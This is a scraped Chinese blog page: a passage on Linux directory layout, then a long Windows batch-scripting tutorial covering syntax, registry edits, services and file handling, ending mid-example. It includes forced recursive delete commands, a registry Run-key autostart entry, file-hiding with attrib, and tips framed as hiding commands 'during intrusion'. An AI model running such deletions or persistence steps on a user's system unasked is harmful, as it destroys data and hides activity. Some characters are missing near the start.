    这个目录表示的是可择的意思,些自定义软件包或者第方工具,就可以安装在这里。比如在Fedora Core 5.0中,OpenOffice就是安装在这里。些我们自己编译的软件包,就可以安装在这个目录中;通过源码包安装的软件,可以把它们的安装路径设置成/opt这样来安装。这个目录的作用一点类似/usr/local。

    /mnt
    临时挂载目录。
    这个目录一般是用于存放挂载储存设备的挂载目录的,比如磁盘,光驱,网络文件系统等,当我们需要挂载某个磁盘设备的时候,可以把磁盘设备挂载到这个目录上去,这样我们可以直接通过访问这个目录来访问那个磁盘了。一般来说,我们最好在/mnt目录下面多建立几个子目录,挂载的时候挂载到这些子目录上面,因为通常我们可能不仅仅是挂载一个设备吧?

    /media
    挂载的媒体设备目录。
    挂载的媒体设备目录,一般外部设备挂载到这里,例如cdrom等。比如我们插入一个U盘,我们一般会发现,Linux自动在这个目录下建立一个disk目录,然后把U盘挂载到这个disk目录上,通过访问这个disk来访问U盘。

    /var
    内容经常变化的目录。
    此目录下文件的大小可能会改变,如缓冲文件,日志文件,缓存文件,等一般都存放在这里。

    /tmp
    临时文件目录。
    该目录存放系统中的一些临时文件,文件可能会被系统自动清空。的系统直接把tmpfs类型的文件系统挂载到这个目录上,tmpfs文件系统由Linux内核支持,在这个文件系统中的数据,实际上是内存中的,由于内存的数据断电易失,当系统重新启动的时候我们就会发现这个目录被清空了。

    /lost+found
    恢复文件存放的位置。
    当系统崩溃的时候,在系统修复过程中需要恢复的文件,可能就会在这里被找到了,这个目录一般为空。

    另外,有些目录初学者容易混淆,这里简单区分一下:
    /bin,/sbin与/usr/bin,/usr/sbin:
    /bin一般存放对于用户和系统来说“必须”的程序(二进制文件)。
    /sbin一般存放用于系统管理的“必需”的程序(二进制文件),一般普通用户不会使用,根用户使用。
    /usr/bin一般存放的只是对用户和系统来说“不是必需的”程序(二进制文件)。
    /usr/sbin一般存放用于系统管理的系统管理的不是必需的程序(二进制文件)。

    /lib与/usr/lib:
    /lib和/usr/lib的区别类似/bin,/sbin与/usr/bin,/usr/sbin。
    /lib一般存放对于用户和系统来说“必须”的库(二进制文件)。
    /usr/lib一般存放的只是对用户和系统来说“不是必需的”库(二进制文件)。

    展开全文
  • bat 文件夹移动

    千次阅读 2013-09-06 23:40:41
    DOS程序在运行结束后会返回一数字值用来表示程序运行的结果(或者状态),称为错误码errorlevel或称返回码。 常见的返回码为0、1。通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来...

     

     echo off
     echo hello world 
     ::得到当天
     set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%
     :: eg:能得到 秒:set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%
     ::
    set pathLog=%pathLog: =0%
    ::创建文件夹
    md "d:\log\log%pathLog%
     echo move over
     pause
     goto begin

     

     

     

     

    资料:

    pulllog.bat

    ::此段代码把设备中/sdcard/tencent/com/tencent/mobileqq 下的所有扩展名为log的文导出到PC中指定目录,且以log+当前日期时间为文件夹存放
    ::注意:此段代码会删除设备上/sdcard/tencent/com/tencent/mobileqq 所有扩展名为log的文件


    @ECHO OFF
    ::log导出到PC上存放的目录
    cd "d:\log"
    c:
    set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%
    set pathLog=%pathLog: =0%
    adb pull /sdcard/tencent/com/tencent/mobileqq/ "d:\log\log%pathLog%"  
    ::删除设备上对应文件夹子里扩展名为log的文件
    adb shell "rm /sdcard/tencent/com/tencent/mobileqq/*.log"
    Start "d:\log"

     

     

     

    转:资料 http://www.cnblogs.com/SunShineYPH/archive/2011/12/13/2285570.html

    一、基础语法:
    1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文本文件编辑工具创建和修改。
    2.批处理是一种简单的程序,可以用 if 和 goto 来控制流程,也可以使用 for 循环。
    3.批处理的编程能力远不如C语言等编程语言,也十分不规范。
    4.每个编写好的批处理文件都相当于一个DOS的外部命令,把它所在的目录放到DOS搜索路径(path)中,即可在任意位置运行。
    5.C:\AUTOEXEC.BAT 是每次系统启动时都会自动运行的,可以将每次启动时都要运行的命令放入该文件中。
    6.大小写不敏感(命令符忽略大小写)
    7.批处理的文件扩展名为 .bat 或 .cmd。
    8.在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe来运行该文件。


    二、参数:
    1) 系统参数

    复制代码
    复制代码
           %SystemRoot%   ===    C:\WINDOWS    (%windir% 同样)
           %ProgramFiles% ===    C:\Program Files
           %USERPROFILE%  ===    C:\Documents and Settings\Administrator  (子目录有“桌面”,“开始菜单”,“收藏夹”等)
           %APPDATA%      ===    C:\Documents and Settings\Administrator\Application Data
           %TEMP%         ===    C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp  (%TEM% 同样)
           %APPDATA%      ===    C:\Documents and Settings\Administrator\Application Data
           %OS%           ===    Windows_NT (系统)
           %Path%         ===    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem  (原本的设置)
           %HOMEDRIVE%    ===    C:   (系统盘)
           %HOMEPATH%     ===    \Documents and Settings\Administrator
    
           :: 枚举当前的环境变量
           setlocal enabledelayedexpansion
           FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i    !%%i!
    复制代码
     
     
    复制代码
        2) 传递参数给批处理文件
          %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。
    变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用 %1 到 %9 顺序表示。
    复制代码
          Sample:
            call test2.bat "hello" "haha" (执行同目录下的“test2.bat”文件,并输入两个参数)
            在“test2.bat”文件里写:
            echo %1  (打印: "hello")
            echo %2  (打印: "haha")
            echo %0  (打印: test2.bat)
            echo %19 (打印: "hello"9)
    复制代码
     
    
    三、批处理基本命令
    0. help 命令
      /? 命令
      语法: 命令 /?
      可显示此命令的帮助信息
      Sample: type /? >>tmp.txt  (把 type 命令的帮助信息写入到tmp.txt文件里)
      Sample: help type  (显示跟“type /?”一样)
    1.Echo 命令
      语法: echo [{on|off}] [message]
      ECHO [ON | OFF]   打开回显或关闭回显功能。
      ECHO              显示当前回显设置。
      ECHO [message]    显示信息。
      echo off 表示在此语句后所有运行的命令都不显示命令行本身;默认是on,on时会显示如: C:\文件夹路径>命令行。
      在实际应用中我们会把这条命令和重定向符号( 也称为管道符号,一般用 > >> ^ )结合来实现输入一些命令到特定格式的文件中。
      Sample: echo off
      Sample: echo hello world  (显示出“hello world”)
      Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前还没有 setupreg.reg 这个文件)
      Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg   (追加内容进 setupreg.reg 这个文件)
    2.@ 命令
      表示不显示@后面的命令,(在入侵过程中自然不能让对方看到你使用的命令啦)
      @ 与 echo off 相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
      Sample: @echo off  (此语句常用于开头,表示不显示所有的命令行信息,包括此句)
      Sample: @echo please wait a minite...
      Sample: @format X: /q/u/autoset
      (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
    
    3.Goto 命令
      语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
      指定跳转到标签行,找到标签行后,程序将处理从下一行开始的命令。
      label标签的名字可以随便起,但是最好是有意义的,字母前必须加个冒号“:”来表示这个字母是标签。
      goto命令就是根据这个冒号来寻找下一步跳到到那里。经常与 if 配合使用,根据不同的条件来执行不同的命令组。
      例题见“5.Pause 命令”
    
    4.Rem 命令
      语法:Rem Message...
      (小技巧:用::代替rem)
      注释命令,在C语言中相当与/*...*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和自己日后修改。
      Sample:@Rem Here is the description.
    5.Pause 命令
      会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
    复制代码
      Sample:
       @echo off
       :begin
       copy a:*.* d:\back
       echo Please put a new disk into driver A
       pause
       goto begin
    复制代码
      在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。
      显示的信息提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键再次复制。
    
    6.Call 命令
      语法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
      参数: [Drive:][Path] FileName  指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
      调用另一个批处理程序,并且不终止父批处理程序。
      如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令。
      call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
      Sample:call="%cd%\test2.bat" haha kkk aaa    (调用指定目录下的 test2.bat,且输入3个参数给他)
      Sample:call test2.bat arg1 arg2    (调用同目录下的 test2.bat,且输入2个参数给他)
      注:可以调用自身(死循环、递归)
    
    7.start 命令
      调用外部程序,所有的 DOS命令 和 命令行程序 都可以由 start命令 来调用。
      入侵常用参数:
            MIN 开始时窗口最小化
            SEPARATE 在分开的空间内开始 16 位 Windows 程序
            HIGH 在 HIGH 优先级类别开始应用程序
            REALTIME 在 REALTIME 优先级类别开始应用程序
            WAIT 启动应用程序并等候它结束
            parameters 这些为传送到命令/程序的参数
      Sample:start /MIN test2.bat arg1 arg2    (调用同目录下的 test2.bat,且输入2个参数给他,且本窗口最小化)
      Sample:e:\"program files"\极品列车时刻表\jpskb.exe  (文件路径名有空格时)
    8.If 命令
      if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:
      1) IF
         语法: if [not] "参数" == "字符串" 待执行的命令
         参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
       Sample: if "%1" == "a" format a:
       Sample: if {%1} == {} goto noparms
      2) if exist
         语法: if [not] exist [路径\]文件名 待执行的命令
         如果有指定的文件,则条件成立,运行命令,否则运行下一句。
         Sample: if exist config.sys edit config.sys   (表示如果存在这文件,则编辑它,用很难看的系统编辑器)
         Sample: if exist config.sys type config.sys   (表示如果存在这文件,则显示它的内容)
      3) if errorlevel number
         语法: if [not] errorlevel <数字> 待执行的命令
         如果程序返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。(返回值必须按照从大到小的顺序排列)
         Sample:
           @echo off
           XCOPY F:\test.bat D:\
           IF ERRORLEVEL 1 (ECHO 文件拷贝失败
           ) Else IF ERRORLEVEL 0 ECHO 成功拷贝文件
           pause
         很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),称为错误码errorlevel或称返回码。
         常见的返回码为0、1。通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令。
      4) else
         语法: if 条件 (成立时执行的命令) else (不成立时执行的命令)
         如果是多个条件,建议适当使用括号把各条件包起来,以免出错。
         Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )
         注:如果 else 的语句需要换行,if 执行的行尾需用“^”连接,并且 if 执行的动作需用(括起来),否则报错
         Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^
                 else (echo comment3 )
      5) 比较运算符:
         EQU - 等于   (一般使用“==”)
         NEQ - 不等于 (没有 “!=”,改用“ if not 1==1 ”的写法)
         LSS - 小于
         LEQ - 小于或等于
         GTR - 大于
         GEQ - 大于或等于
    
    
    9.choice 命令
      choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的 errorlevel,
      然后配合 if errorlevel 选择运行不同的命令。
            注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
      choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。
      使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
    复制代码
        Sample:  choice /c:dme defrag,mem,end
        将显示:  defrag,mem,end[D,M,E]?
        Sample:
        choice /c:dme defrag,mem,end
        if errorlevel 3 goto defrag (应先判断数值最高的错误码)
        if errorlevel 2 goto mem
        if errotlevel 1 goto end
    复制代码
    10.for 命令
       for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
       1) for {%variable | %%variable} in (set) do command [command-parameters]
          %variable 指定一个单一字母可替换的参数。变量名称是区分大小写的,所以 %i 不同于 %I
          在批处理文件中使用 FOR 命令时,指定变量建议用 %%variable而不要用 %variable。
          (set) 指定一个或一组文件。可以使用通配符。
          command 指定对每个文件执行的命令。
          command-parameters 为特定命令指定参数或命令行开关。
       2) 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
          a.FOR /D %variable IN (set) DO command [command-parameters]
            如果集里面包含通配符,则指定与目录名匹配,而不与文件名匹配。
          b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
            检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。
            如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
          c.FOR /L %variable IN (start,step,end) DO command [command-parameters]
            该集表示以增量形式从开始到结束的一个数字序列。
            如:(1,1,5) 将产生序列 1 2 3 4 5;  而(5,-1,1) 将产生序列 (5 4 3 2 1)。
          d.有或者没有 usebackq 选项:
            FOR /F ["options"] %variable IN (file-set) DO command
            FOR /F ["options"] %variable IN ("string") DO command
            FOR /F ["options"] %variable IN (command)  DO command
        参数"options"为:
            eol=c           - 指一个行注释字符的结尾(就一个,如“;”)
            skip=n          - 指在文件开始时忽略的行数。
            delims=xxx      - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
            tokens=x,y,m-n  - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。
                              m-n格式为一个范围。通过 nth 符号指定 mth。
                  如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
            usebackq        - 指定新语法已在下类情况中使用:
                              在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。
       3) Sample:
          1. 如下命令行会显示当前目录下所有以bat或者txt为扩展名的文件名。
             for %%c in (*.bat *.txt) do (echo %%c)
          a. 如下命令行会显示当前目录下所有包含有 e 或者 i 的目录名。
             for /D %%a in (*e* *i*) do echo %%a
          b. 如下命令行会显示 E盘test目录 下所有以bat或者txt为扩展名的文件名。
             for /R E:\test %%b in (*.txt *.bat) do echo %%b
             for /r %%c in (*) do (echo %%c)  :: 遍历当前目录下所有文件
          c. 如下命令行将产生序列 1 2 3 4 5
             for /L %%c in (1,1,5) do echo %%c
          d. 以下两句,显示当前的年月日和时间
             For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日
             For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j时%%k分
          e. 把记事本中的内容每一行前面去掉8个字符
             setlocal enabledelayedexpansion
             for /f %%i in (zhidian.txt) do (
    	   set atmp=%%i
    	   set atmp=!atmp:~8!
               if {!atmp!}=={} ( echo.) else echo !atmp!
             )
             :: 读取记事本里的内容(使用 delims 是为了把一行显示全,否则会以空格为分隔符)
             for /f "delims=" %%a in (zhidian.txt) do echo.%%a
       4) continue 和 break
          利用 goto 实现程序中常用的 continue 和 break 命令, 其实非常简单
          continue: 在 for 循环的最后一行写上一个标签,跳转到这位置即可
          break: 在 for 循环的外面的下一句写上一个标签,跳转到这位置即可
          Sample: (伪代码)
            for /F ["options"] %variable IN (command)  DO (
            ... do command ...
            if ... goto continue
            if ... goto break
            ... do command ...
            :continue
            )
            :break
    
    
    四、其它命令
    1. ping 命令
       测试网络联接状况以及信息包发送和接收状况。但是不能够测试端口。
       语法:ping IP地址或主机名 [-t] [-a] [-n count] [-l size]
        参数含义:
        -t 不停地向目标主机发送数据;
        -a 以IP地址格式来显示目标主机的网络地址;
        -n count 指定要Ping多少次,具体次数由count来指定;
        -l size 指定发送到目标主机的数据包的大小。
      Sample: ping 192.168.0.1 -t (不停的测试192.168.0.1,按ctrl+c停止)
      Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下所有的局域网电脑)
    2. telnet 命令
       测试端口使用 telnet IP地址或主机名 端口,使用tcp协议的
       Sample:  telnet 192.168.0.1 80 (测试192.168.0.1的80端口)
    3.color 命令
       设置背景及字体颜色
       语法: color bf
       b 是指定背景色的十六进制数字; f 指定前景颜色(即字体颜色)。
       颜色值:     0:黑色    1:蓝色    2:绿色    3:湖蓝    4:红色    5:紫色    6:黄色    7:白色
                   8:灰色    9:淡蓝    A:淡绿    B:浅绿    C:淡红    D:淡紫    E:淡黄    F:亮白
       如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜色。
       如果两参数一样,视为无效输入。只有一个参数时,设置字体。
    
    4. random 命令
       产生随机数(正整数0~)
    
    5. exit 命令
       结束程序。即时是被调用的程序,结束后也不会返回原程序
    
    6. shutdown命令
       shutdown -s 关机
    
    
    10. 所有内置命令的帮助信息
      ver /?
      cmd /?
      set /?
      rem /?
      if /?
      echo /?
      goto /?
      for /?
      shift /?
      call /?
      其他需要的常用命令
      type /?
      find /?
      findstr /?
      copy /?
    
    
    五、字符串处理
        1) 分割字符串,以查看时间为例
           %源字符串:~起始值,截取长度%  (起始值从0开始;截取长度是可选的,如果省略逗号和截取长度,将会从起始值截取到结尾;
           截取长度如果是负数,表示截取到倒数第几个。)
          "%time%"      显示如:"11:04:23.03" (完整的时间"hh:mm:ss.tt")
          "%time:~0,5%" 显示"hh:mm"(即"11:04"),其中0表示从右向左移位操作的个数,5表示从左向右移位操作的个数
          "%time:~0,8%" 显示标准时间格式"hh:mm:ss"(即"11:04:23",前8个字符串)
          "%time:~3,-3%"显示"mm:ss"(即从第4个开始,截去最后3个的字符串)
          "%time:~3%"   显示"04:23.03"(即去掉前4个字符串)
          "%time:~-3%"  显示".tt"(即最后3个字符串)
          上面的字串分割格式,也可以用于其它地方,如目录路径:"%cd:~0,10%"
        2) 替换字符串
           set a="abcd1234"
           echo %a%          显示:"abcd1234"
           set a=%a:1=kk%    替换“1”为“kk”
           echo %a%          显示:"abcdkk234"
        3) 字符串合并
           由于没有直接的字符串合并函数,只能用笨方法了。
           set str1=%str1%%str2%    (合并 str1 和 str2)
        4) 计算字符串长度
    复制代码
         没有现成的函数。如下程序利用 goto形成循环,不断将字符串截短1,并记录截短的次数,到字符串变成空时的次数即长度。
           set testStr=This is a test string
           :: 将 testStr 复制到str,str 是个临时字符串
           set str=%testStr%
           :: 标签,用于goto跳转
           :next1
           :: 判断str是不是空,如果不是则执行下边的语句
           if not "%str%"=="" (
           :: 算术运算,使num的值自增1,相当于num++或者++num语句
           set /a num+=1
           :: 截取字符串,每次截短1
           set "str=%str:~1%"
           :: 跳转到next1标签: 这里利用goto和标签,构成循环结构
           goto next1
           )
           :: 当以上循环结构执行完毕时,会执行下边的语句
           echo testStr=%testStr%
           echo testStr的长度为:%num%
    复制代码
        5) 截取字符串时,需要传递参数
           直接 echo %args:~%num%,-5% 没办法想要的字符串,需要如下两步
           setlocal enabledelayedexpansion
           echo !args:~%num%,-5!
    六、注册表操作
        1) 备份注册表,将[HKEY_LOCAL_MACHINE ... Run]的内容,备份到“c:\windows\1.reg”
           reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg
           reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg
        2) 修改/添加注册表内容
           a.一般的添加或修改
           reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f
             上句解析:“HKCU”是“HKEY_CURRENT_USER”的缩写,不用缩写用全称也可以;
             添加名称为“Java_Home”的变量;类型为“reg_sz”,另一种常见类型是“reg_dword”;值为 D:\Java\jdk1.6.0_07;
           b.使用变量
             set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java
             reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f
           c.如果注册表的名称有空格,或者数据用特殊符号时
           reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f
             传入值为(值用双引号括起来的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"
             reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f
             传入值为(“\”结尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\
           d.增加空的内容
             reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
           e.添加或修改默认值
             reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f
         这里用“/ve”来代替一般修改时的“/v 变量名”,即可修改默认值了
        3) 删除注册表的内容
          双引号里面的是注册表的目录,下面两句将删除这目录下的所有信息
          reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f
          reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f
          双引号里面的是注册表的目录,下面一句将删除这目录下指定的某个信息
          reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f
        4) 注册表的常用位置
           a.系统启动项:
             [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
             [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
         example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f
           b.系统环境变量:
             [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
           c.当前用户的环境变量:
             [HKEY_CURRENT_USER\Environment]
        5) 修改注册表之后,结束并重新加载explorer.exe进程,可刷新注册表,令其生效
           taskkill /f /im explorer.exe >nul
           start "" "explorer.exe"
    七、系统服务
        1) 停止服务:NET STOP 服务名
           启动服务:NET Start 服务名
        2) 设置启动类型
           自动:  SC CONFIG 服务名 START= auto
           手动:  SC CONFIG 服务名 START= demand
           已禁用:SC CONFIG 服务名 START= disabled
           附:“START= ”等号后面必须要有一个空格。(start还有boot,system两个值)
           Sample:  SC CONFIG Spooler START= demand (打印机加载项,设置成手动,默认自动)
        3) 查看系统服务:start %SystemRoot%\system32\services.msc /s
    
    八、setlocal与变量延迟
      0) 在没有开启变量延迟的情况下,某条命令行中的变量改变,必须到下一条命令才能体现。
         另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行。
         example:
           set a=4
           set a=5 & echo %a%
         结果:4
         也可以对这种机制加以利用,如下的变量交换
         example:
           set var1=abc
           set var2=123
           echo 交换前: var1=%var1% var2=%var2%
           set var1=%var2%& set var2=%var1%
           echo 交换后: var1=%var1% var2=%var2%
      1) 启动批处理文件中环境变量的本地化。本地化将持续到出现匹配的 endlocal 命令或者到达批处理文件结尾为止。
        语法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}
        enableextension: 启用命令扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
        disableextensions: 禁用命令扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
        enabledelayedexpansion: 启用延迟的环境变量扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
        disabledelayedexpansion: 禁用延迟的环境变量扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
    
      2) 为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说“延迟”了对变量的赋值。
      examle:
        setlocal enabledelayedexpansion
        set a=4
        set a=5 & echo !a!
      结果: 5
      变量延迟的启动语句是“setlocal enabledelayedexpansion”,并且变量要用一对叹号“!!”括起来
      由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了
      另外,启动变量延迟,“%”的变量还是不变
      example2:
        setlocal enabledelayedexpansion
        for /l %%i in (1,1,5) do (
        set a=%%i
        echo !a!
        )
      结果,打印从1到5;如果不变量延迟,一个变量也没有打印
    
    
    九、文件处理
      1.删除
        1) 删除一个文件或多个文件
           del /s /q /f d:\test\a.bat
           将直接删除d:\test\a.bat,没有任务提示
           del temp\* /q /f /s
           将直接删除 本目录的 temp 目录的所有文件,没有任务提示
           删除文件的时候可以使用“*”作通配符
        2) 删除一个空目录
           rd /q /s  d:\test\log
           将直接删除d:\test\log目录,如果log目录里面有文件将无法删除
        3) 删除一个非空目录 (必须指定目录名称)
           rmdir /q /s d:\test\logs
           必须指定目录名称,不能使用通配符
           /S  除目录本身外,还将删除指定目录下的所有子目录
           /Q  安静模式,带 /S 删除目录树时不要求确认
           无论里面是否有文件或文件夹将全部直接删除
      2.创建目录
        MKDIR [drive:]path
        MD [drive:]path
        路径有空格时,可以用双引号括起来,也可以用 &nbsp; 替代
    
    
    
    
    
    
    
    
    实践部分:
    ======================================================================
    
    一、小摘录:
        1. 调用其他程序时,对文件的大小写不敏感,文件后缀也可忽略
           如:start LeapFTP.exe  与 start leapftp 效果一样,都是运行“LeapFTP.exe”文件
           每行的开头的字符串会自动查找程序来运行,还可用双引号引起来(文件名或目录名含空格时必须用)
           如:"D:\Program Files\Leap FTP.exe"
           "LeapFTP.exe" 可正常运行文件,start "" "LeapFTP.exe" 也可以正常运行文件(注意,第一个参数是窗口显示的标题)
        3. copy C:\test\*.* D:\back  (复制C盘test文件夹的所有文件(不包括文件夹及子文件夹里的东西)到D盘的back文件夹)
        4. dir c:\*.* > a.txt (将c盘文件列表写入 a.txt 中)
        5.  > 生成文件并写入内容(如果有这文件则覆盖),  >> 文件里追加内容
        6. md d:\aa (创建文件夹)
        7. 在命令末尾加上“>NUL 2>NUL”,表示隐蔽返回信息。
        8. 等待用户输入: set /p 变量名=屏幕显示信息。  Sample:set /p pass=请输入密码:
        9. 让用户按回车退出
           小技巧(替代pause),文件的最后一句:set /p tmp=操作结束,请按回车键退出...
        10.设置标题: title JDK安装
        11.设置屏幕显示颜色,如绿色: color 0a
        12.清屏: cls
        13.查看自己的IP:
           for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
           echo %ip% (这时的 %ip% 就是自己的IP地址)
    
        14. 修改文件的更新日期
            copy 文件名+,,>nul  (修改为当前时间,如果要修改为指定时间,先修改系统时间,再改回系统时间)
        15. 修改文件的后缀名
            ren C:\test\*.jpg *.JPG
    	for /r %%c in (*.jpg) do (ren %%c *.JPG)  :: 修改当前目录下的所有文件的后缀名,包括子目录的
        16. 修改文件的文件名
            rename test.jpg test2.JPG
            rename *.jpg *.888.JPG
        17. 查看DNS、IP、Mac等
            1) Win98: winipcfg
            2) Win2000以上: Ipconfig /all
            3) NSLOOKUP
        18.查看IP上的共享资源,就可以
            net view 192.168.10.8
        19.共享
            A.查看你机器的共享资源: net share
            B.手工删除共享
              net share 共享资源名称$ /d
              注意$后有空格。
            C.增加一个共享:
              net share mymovie=e:\downloads\movie /users:3
              mymovie 共享成功。 同时限制链接用户数为3人。
        20.打开某网站
              start iexplore.exe http://www.baidu.com
    
    
    二、实例:
        1. 生成 reg 文件,运行它,再删除它
            echo "更改windows安装文件的路径"
            echo Windows Registry Editor Version 5.00 > c:\setupreg.reg
            echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg
            echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
            echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg
            :: 写入注册表
            regedit /S c:\setupreg.reg
            :: 删除注册表文件
            del c:\setupreg.reg
    
        2.调用了exe文件,结束后没有关闭,解决方式
           用start命令运行文件,如:
           start LeapFTP.exe 192.168.0.100
    
        3.设置系统环境变量
          :: 有这个环境变量,则不需再设置,直接结束
          if not "%JAVA_HOME%" == "" exit
          :: 设置环境变量的地址
          set inputJavaHome=%cd%\jdk1.6.0_07
          :: 设置环境变量,也可以设置当前用户的变量
          set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
          echo 正在设置环境变量,请稍候......
          reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f
          reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f
          reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]
          :: 刷新,令环境变量生效
          taskkill /f /im explorer.exe >nul
          start "" "explorer.exe"
    
        4.隐藏某目录的所有文件及文件夹
          cd /d 要隐藏的目录(如:D:)
          for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)
    
        5.在批处理中使用密码。密码为admin,输入正确,跳转到next1 ,若输入密码错误3次,则锁屏。。
          @echo off
          set num=0
          :11
          set /p pass=请输入密码:
          if "%pass%"=="admin" goto next1
          set /a num=%num% + 1
          if %num%==3 goto no1
          goto 11
          :no1
          %windir%\system32\rundll32.exe user32.dll,LockWorkStation
          goto 11
          :next1
          echo 密码正确,执行下面的程式
          pause
    
        6.清空回收站(未成功)
          @echo off
          del /f /s /q c:\recycler\*.*
          ::刷新屏幕
          taskkill /f /im explorer.exe >nul
          start "" "explorer.exe"
    
        7.让系统断断续续地鸣叫
          @echo off
          :begin
